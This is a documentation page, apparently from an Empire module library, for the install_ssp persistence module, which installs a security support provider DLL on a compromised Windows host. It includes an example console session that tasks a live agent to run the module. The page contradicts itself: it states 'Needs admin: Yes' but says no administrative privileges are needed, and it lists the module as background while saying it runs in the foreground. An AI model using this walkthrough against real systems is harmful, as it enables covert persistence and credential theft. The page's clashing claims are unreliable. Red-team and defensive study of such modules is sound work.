Install-SSP - Empire Module
This page contains detailed information about how to use the powershell/persistence/misc/install_ssp Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Install-SSP
Module: powershell/persistence/misc/install_ssp
Source code:
empire/server/modules/powershell/persistence/misc/install_ssp.yaml
MITRE ATT&CK:
T1101
Language: PowerShell
Needs admin: Yes
OPSEC safe: No
Background: Yes
The install_ssp module installs a security support provider (SSP) dll.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the install_ssp module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the install_ssp module:
Agent
Agent to run module on.
Path
Path of the SSP .dll (on the target machine) to install.
Install_ssp Example Usage
Here's an example of how to use the install_ssp module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/persistence/misc/install_ssp
Author @mattifestation
Background True
Comments https://github.com/mattifestation/PowerSploit/blob/master/Persistence/
Persistence.psm1
Description Installs a security support provider (SSP) dll.
Language powershell
Name powershell/persistence/misc/install_ssp
NeedsAdmin True
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1101
,Record Options-,----------,-------------------------------------,
| Name | Value | Required | Description |
|-------|-------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|-------|-------|----------|-------------------------------------|
| Path | | True | Path of the SSP .dll (on the target |
| | | | machine) to install. |
'-------'-------'----------'-------------------------------------'
(Empire: usemodule/powershell/persistence/misc/install_ssp) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/persistence/misc/install_ssp) > set Path some\path
[*] Set Path to some\path
(Empire: usemodule/powershell/persistence/misc/install_ssp) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/persistence/misc/install_ssp.yaml
- https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1
- http://attack.mitre.org/techniques/T1101
See Also
Check also the following modules related to this module:
- powershell/persistence/misc/debugger
- powershell/persistence/misc/disable_machine_acct_change
- powershell/persistence/misc/get_ssps
- powershell/persistence/misc/add_sid_history
- powershell/persistence/misc/add_netuser
- powershell/persistence/misc/memssp
- powershell/persistence/misc/skeleton_key
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.
